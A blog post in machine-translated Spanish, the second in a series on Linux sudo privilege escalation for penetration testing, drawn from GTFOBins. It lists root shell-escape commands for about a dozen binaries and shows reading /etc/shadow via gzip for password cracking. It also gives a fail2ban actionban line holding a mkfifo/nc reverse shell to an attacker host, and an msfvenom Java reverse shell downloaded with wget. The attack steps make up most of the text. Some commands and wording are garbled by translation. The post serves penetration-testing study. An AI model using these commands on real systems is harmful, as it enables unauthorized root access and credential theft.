Pruebas de penetración: la segunda fase del método sudo de escalada de privilegios de Linux (2)

Tabla de contenido

escribir al principio

sudo esperar

sudo fail2ban

sudo encontrar

rebaño sudo

ftp sudo

sudo gcc

sudo gdb

sudo git

sudo gzip/gunzip

sudo iftop

sudo hping3

sudo java

Resumen y reflexión

escribir al principio

 Este artículo continúa explicando el método de escalada de privilegios sudo para pruebas de penetración sobre la base del blog anterior. Para la introducción y los antecedentes del contenido relevante, consulte:

Pruebas de penetración: Conferencias sobre la escalada de privilegios de Linux (1) - Método Sudo Fase 1 - Bossfrank's Blog - CSDN Blog

Este artículo continuará resumiendo brevemente el método de escalada de privilegios sudo de la máquina de destino del sistema Linux según la  explicación de las notas del equipo rojo y el proyecto de código abierto GTFOBins (consulte GTFOBins para obtener detalles). Aquí está el primer enlace de video del jefe de la nota del equipo rojo:

Conferencia "Notas del equipo rojo" sobre la elevación de privilegios de Linux: Sudo Storm - Parte 1 de Sudo Storm, la mentalidad de nivel de monje, mientras estudia la tecnología de escalada de privilegios, pule su comprensión profunda del kernel de Linux. Libro de pruebas de penetración. _哔哩哔哩_bilibili

El módulo de resumen y pensamiento  al final del artículo clasificará los métodos de escalada de privilegios involucrados en este artículo y resumirá las ideas y la lógica de la escalada de privilegios sudo. Puede que no sea completamente apropiado, pero es solo mi entendimiento personal. Lectores ' comentarios y cartas privadas son bienvenidos a discutir juntos.

sudo esperar

Requisitos previos para la explotación 

El usuario actual puede ejecutar el comando expect con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/expect

Ver esperar | GTFOBins   para más detalles

 El comando expect puede simular la entrada del usuario, automatizar operaciones que requieren la interacción del usuario y puede usarse en scripts y otros entornos de automatización.

Método de operación 

sudo expect -c 'spawn /bin/bash;interact'

Su parámetro -c puede agregar código de secuencia de comandos en lugar de leer código de un archivo. spawn /bin/bash se usa para generar un entorno bash, use ;interact para especificar un shell interactivo y ejecútelo para elevar los privilegios. También se puede ver por el uso de expect que el método de escalada de privilegios sudo de muchos archivos ejecutables se basa en su capacidad para especificar archivos de configuración o ejecutar comandos del sistema con privilegios altos .

sudo fail2ban

Requisitos previos para la explotación 

El usuario actual puede ejecutar el comando expect con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /etc/init.d/fail2ban

 fail2ban es una herramienta para la defensa contra ataques de contraseña de fuerza bruta. Por ejemplo, cuando la contraseña es incorrecta muchas veces durante el inicio de sesión ssh, se activará la operación de fail2ban, y la IP de inicio de sesión se prohibirá temporalmente, y no se podrán realizar más intentos de contraseña en un corto período de tiempo.

Método de operación 

En primer lugar, necesitamos saber dónde está el directorio de la herramienta fail2ban, y podemos usar find para encontrarlo:

find -name "fail2ban*" -type d 2>/dev/null

 El resultado muestra que hay varios directorios. Se puede juzgar que el directorio de fail2ban es /etc/fail2ban. Verificamos si los archivos de configuración en el directorio son escribibles:

find /etc/fail2ban -writable -type d 2>/dev/null

 El resultado se muestra como: /etc/fail2ban/action.d, lo que significa que se puede escribir en el archivo de configuración action.d (este directorio especifica en detalle las acciones que se realizarán cuando se active la prohibición). En la estructura de directorios de Linux, si el nombre termina con .d, generalmente indica que el directorio son algunos archivos de script. Después de ingresar a /etc/fail2ban/action.d, encontramos que hay un archivo de configuración iptables-multport.conf, que estipula la operación que se ejecutará cuando el inicio de sesión ssh intente activar el comportamiento de prohibición muchas veces en un corto período de tiempo. Ver el archivo Las propiedades (ls -liah iptables-multport.conf) son las siguientes:

345817 -rw-r--r-- 1 raíz raíz 1.5k 22 de mayo 15:24 iptables-multport.conf

Se puede encontrar que tanto el propietario como el grupo pertenecen a la raíz, y el atributo de permiso del archivo es 644, pero actualmente solo somos un usuario ordinario de shell y no podemos editar ni modificar el archivo directamente. Pero debido a que se puede escribir en el directorio /etc/fail2ban/action.d donde se encuentra iptables-multport.conf, podemos crear y eliminar archivos en el directorio actual y hacer que se pueda escribir en iptables-multport.conf a través de las siguientes operaciones. Primero cambie el nombre del archivo iptables-multport.conf a iptables-multport.conf.bak a través de mv:

mv iptables-multport.conf iptables-multport.conf.bak

Después de realizar esta operación, no hay ningún archivo iptables-multport.conf en el directorio /etc/fail2ban/action.d, pero hay un archivo de respaldo iptables-multport.conf.bak.Este archivo iptables-multport.conf.bak es igual que el anterior El archivo iptables-multport.conf tiene los mismos atributos de archivo (la operación mv no creará un archivo nuevo, sino que solo modificará la ubicación o el nombre del archivo original, y los permisos del archivo no cambiarán, y el propietario y el grupo son root), luego copiamos el archivo iptables-multport.conf.bak y lo nombramos iptables-multport.conf:

mv iptables-multiport.conf.bak iptables-multiport.conf

De esta forma, habrá nuevamente iptables-multport.conf en el directorio, en este momento por las características de la operación cp (crear un nuevo archivo con la autoridad del usuario actual), comprobamos las propiedades del archivo iptables-multport.conf (ls -liah iptables-multport. conf), puede encontrar que tanto el propietario como el grupo se han convertido en el usuario actual jackie:

345123 -rw-r--r-- 1 jackie jackie 1.5k 22 de mayo 15:54 iptables-multport.conf

En este punto, podemos editar iptables-multport.conf, vim revisa y edita, y encuentra que la operación realizada después de activar la prohibición es actionban = operación. Hablamos de modificar esta operación a la lógica de escalada de privilegios, como rebotar el shell, es decir, el iptables-multport.conf modificado contiene el siguiente contenido en la línea donde se encuentra actionban en el archivo:

actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc kali的ip 1234 > /tmp/f

Una vez completada la modificación: wq informa un error y se inicia, sudo reinicia el servicio fail2ban nuevamente para garantizar que nuestro iptables-multport.conf modificado surta efecto:

sudo /etc/init.d/fail2ban restart 

Luego, nc en kali escucha el puerto 1234 del shell que acaba de recuperarse:

nc-lvnp 1234

Finalmente, solo necesitamos usar ssh nuevamente para intentar iniciar sesión en la cuenta de Jackie e intentar deliberadamente usar la contraseña incorrecta varias veces en un período corto de tiempo (puede consultar el archivo /etc/fail2ban/jail. Trigger ban. Pero solo necesitamos ingresar la contraseña incorrecta tantas veces como sea posible), activar la operación actionban y activar el shell de rebote.

La operación de usar fail2ban parece complicada. De hecho, el núcleo es que hemos modificado la lógica que se ejecuta después de que fail2ban activa la prohibición (cambiada a shell de rebote), y luego deliberadamente cambiamos la contraseña para intentar activar la prohibición varias veces en un corto período de tiempo Usando la autoridad sudo de fail2ban, active la prohibición y luego ejecute la operación de shell inversa que especificamos. La dificultad para usarlo es:

1. Debe saber qué hace fail2ban, dónde está el archivo de configuración y dónde está el comando de operación para la acción después de que se activa la prohibición.

2. La lógica de permisos del sistema Linux: el archivo de configuración iptables-multport.conf en sí mismo no es editable (el permiso es 644 y el usuario actual no puede editarlo), pero el directorio action.d donde está iptables-multport.conf se puede escribir.Usamos mv Y la lógica de permisos del comando cp finalmente hace que el usuario actual jackie tenga permiso de escritura para iptables-multport.conf.

sudo encontrar

Requisitos previos para la explotación 

El usuario actual puede ejecutar el comando find con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/find

Ver encontrar | GTFOBins   para más detalles

Método de operación 

sudo find . -exec /bin/bash \; -quit

Ejecute el comando anterior para elevar los privilegios. Use el comando find para buscar en un directorio determinado, como el directorio actual, y luego agregue el parámetro -exec para ejecutar bash (/bin/bash no realizará ningún procesamiento en los archivos encontrados por find), donde el punto y coma; significa que -exec ejecuta el comando Posición final, punto y coma; la \ delante de él es un carácter de escape, y el punto y coma; se escapa. Si no se agrega el carácter de escape /, el punto y coma; se interpretará como el separador de declaraciones del línea de comando, que hará -exec No se pudo encontrar la ubicación final de la ejecución del comando.

rebaño sudo

Requisitos previos para la explotación 

El usuario actual puede ejecutar el comando flock con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/flock

  Flock en sí es una utilidad para administrar el bloqueo de archivos en el sistema Linux, coordinar el acceso de múltiples procesos al sistema de archivos y evitar problemas causados ​​por múltiples procesos que acceden a un recurso al mismo tiempo. Ver bandada | GTFOBins para más detalles

Método de operación 

sudo flock -u / /bin/bash

 Ejecútelo para elevar los privilegios. El parámetro -u significa desbloquear (desbloquear), aquí es para desbloquear el archivo en el directorio raíz /, y usar /bin/bash para operar, este comando iniciará la sesión de /bin/bash para lograr la escalada de privilegios.

ftp sudo

Requisitos previos para la explotación 

 El usuario actual puede ejecutar el comando ftp con la autorización avanzada de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/ftp

Ver bandada | GTFOBins   para más detalles

Método de operación 

sudo ftp
!/bin/sh

Ejecútelo para elevar el privilegio, la lógica es obvia, use la línea de comando interactiva de ftp para iniciar el bash del sistema.

sudo gcc

Requisitos previos para la explotación 

 El usuario actual puede ejecutar las instrucciones de compilación de gcc con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/gcc

Ver gcc | GTFOBins   para más detalles

Método de operación 

sudo gcc -wrapper /bin/bash,-s .

 Ejecútelo para elevar los privilegios. Use -wrapper para especificar el contenedor, agregue el comando para iniciar el shell en el contenedor, -s es el parámetro de bash, especifique leer el comando desde la entrada estándar y asegúrese de que no saldrá cuando se lea EOF, el punto indica el contenido compilado, en este momento, no nos importa compilar nada, solo dar el directorio actual.

sudo gdb

gdb | Premisa de explotación  de GTFOBins

 El usuario actual puede ejecutar las instrucciones de compilación de gdb con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/gdb

  gdb es la abreviatura de GNU debugger, que es un depurador de nivel de código fuente, utilizado principalmente para la depuración de programas C/C++. Ver gdb | GTFOBins para más detalles

Método de operación

sudo gdb -nx -ex '!bash' -ex quit

Ejecutar para elevar los privilegios, donde -nx significa no leer ni ejecutar ningún archivo de configuración al inicio, -ex significa ejecutar instrucciones y el signo de exclamación significa ejecutar comandos del sistema y luego ejecutar exit (-ex quit) después de la ejecución. 

sudo git

Requisitos previos para la explotación 

 El usuario actual puede ejecutar comandos git con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/git

  Para obtener más información, consulte git | GTFOBins

Método de operación

sudo git branch --help
!/bin/bash

 La escalada de privilegios se logra llamando a un mecanismo similar a less al ver la ayuda. Al ver la ayuda, puede ingresar un signo de exclamación para ejecutar el comando del sistema. Este método es muy similar a la escalada de privilegios en menos.

sudo gzip/gunzip

Requisitos previos para la explotación 

 El usuario actual puede ejecutar el comando de compresión/descompresión gzip/gunzip con privilegios avanzados de sudo, es decir, aparecerán las siguientes líneas después de ejecutar sudo -l:

(raíz) NOPASSWD: /usr/bin/gzip

(raíz) NOPASSWD: /usr/bin/gunzip

  Ver gzip | GTFOBins para más detalles

Método de operación

sudo gzip -f /etc/shadow -t

 Después de ejecutarlo, el contenido del archivo /etc/shadow quedará expuesto y luego podrá descifrarlo con John. Mi último blog tiene un uso similar, como sudo apache2. Para obtener más información, consulte Pruebas de penetración: escalada de privilegios de Linux (1 ) sudo La primera fase del método_Bossfrank's Blog-CSDN Blog

Entre ellos, -t significa verificar el archivo comprimido, y el archivo correspondiente se leerá y mostrará durante la verificación, exponiendo así el archivo confidencial /etc/shadow, -f significa forzar para hacer cumplir, para garantizar que el programa se pueda ejecutar normalmente. El uso de gunzip es exactamente el mismo.

sudo iftop

Requisitos previos para la explotación 

 El usuario actual puede ejecutar el comando iftop con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/sbin/iftop

  iftop es una herramienta de monitoreo de tráfico de red en forma de línea de comando, que se utiliza para mostrar el uso de ancho de banda de una interfaz de red en tiempo real y puede mostrar una vista en tiempo real. Use iftop | GTFOBins para más detalles

 Método de operación

sudo iftop
!/bin/bash

 Dígale a la herramienta que ejecute los comandos del sistema escribiendo !, y luego inicie bash para aumentar los privilegios.

sudo hping3

Requisitos previos para la explotación 

 El usuario actual puede ejecutar el comando de la herramienta de red hping3 con autoridad avanzada sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/sbin/hping3

  hping3 es una herramienta de red muy poderosa, utilizada principalmente para analizar y probar el entorno de la red y generar varios tipos de paquetes de datos. Ver hping3 | GTFOBins para más detalles

Método de operación

sudo hping3
/bin/bash

 El método de uso es similar a sudo ftp. La herramienta tiene su propia línea de comandos. Ejecute los comandos del sistema en la línea de comandos integrada e inicie bash para elevar el privilegio. 

sudo java

Requisitos previos para la explotación 

 El usuario actual puede ejecutar java con privilegios avanzados de sudo, es decir, después de ejecutar sudo -l, aparecerán las siguientes líneas:

(raíz) NOPASSWD: /usr/bin/java

Cuando se encuentre con este tipo de instrucción que ejecuta el lenguaje principal como sudo, primero considere usar la instrucción de shell inverso del propio lenguaje para escalar el privilegio. 

Método de operación

La idea es escribir un shell de rebote java (shell.jar) y luego ejecutar java -jar shell.jar en la máquina de destino Aquí usamos el msfvenom que viene con Kali para generar un shell de rebote java:

msfvenom -p java/shell_reverse_tcp LHOST=kali的ip LPORT=1234 -f jar -o shell.jar

Luego transfiera este archivo a la máquina de destino, la forma tradicional de pensar, abra el servicio http en el directorio actual:

php -S 0:80

Luego, entréguele este shell.jar en la máquina de destino:

wget http://kali的ip/shell.jar

Luego ejecútelo en la máquina de destino (tenga en cuenta que primero debe habilitar nc -lvnp 1234 en kali):

java -jar shell.jar

Resumen y reflexión

 Este artículo presenta 12 métodos comunes de escalamiento de privilegios sudo, principalmente utilizando la configuración de privilegios altos del sistema de archivos/herramientas ejecutables, de modo que los usuarios de privilegios bajos (shell de destino inicial) puedan ejecutar programas de privilegios altos con privilegios de root sudo sin instrucción de secretos. Creo que a través de la introducción de este artículo, espero que los lectores puedan tener una comprensión más intuitiva de la esencia de la escalada de privilegios: los usuarios con pocos privilegios pueden ejecutar instrucciones/herramientas/secuencias de comandos con muchos privilegios por algún motivo (configuración/vulnerabilidad) . Al final, decidí clasificar y resumir a la fuerza los 12 métodos para elevar los derechos en este artículo.

Puede ejecutar directamente comandos del sistema: sudo expect, sudo find, sudo gdb

Script activado cuando se ejecuta la herramienta: sudo fail2ban

Use algunos parámetros de la herramienta que pueden iniciar el shell: sudo flock, sudo gcc

La línea de comandos interactiva puede ejecutar comandos del sistema: sudo ftp, sudo itop, sudo hping3

Divulgación de archivos confidenciales: sudo gzip/gunzip

Similar a ejecutar comandos del sistema en el entorno less: sudo git

Algún idioma (para escribir un shell inverso): sudo java

 Este blog está aquí, realmente no es fácil de resumir, ¡ los lectores pueden dar me gusta, seguir y apoyar ! No he practicado todos los métodos de escalamiento de privilegios mencionados en este artículo. Es posible que se necesiten pruebas de penetración y práctica a largo plazo para encontrar tal variedad de situaciones. En un futuro próximo, seguiré resumiendo los métodos relacionados con la escalada de privilegios de Linux y seguiré apegado al objetivo. Espero que los lectores me apoyen. 

 

Supongo que te gusta

Origin blog.csdn.net/Bossfrank/article/details/132016024
Recomendado
Clasificación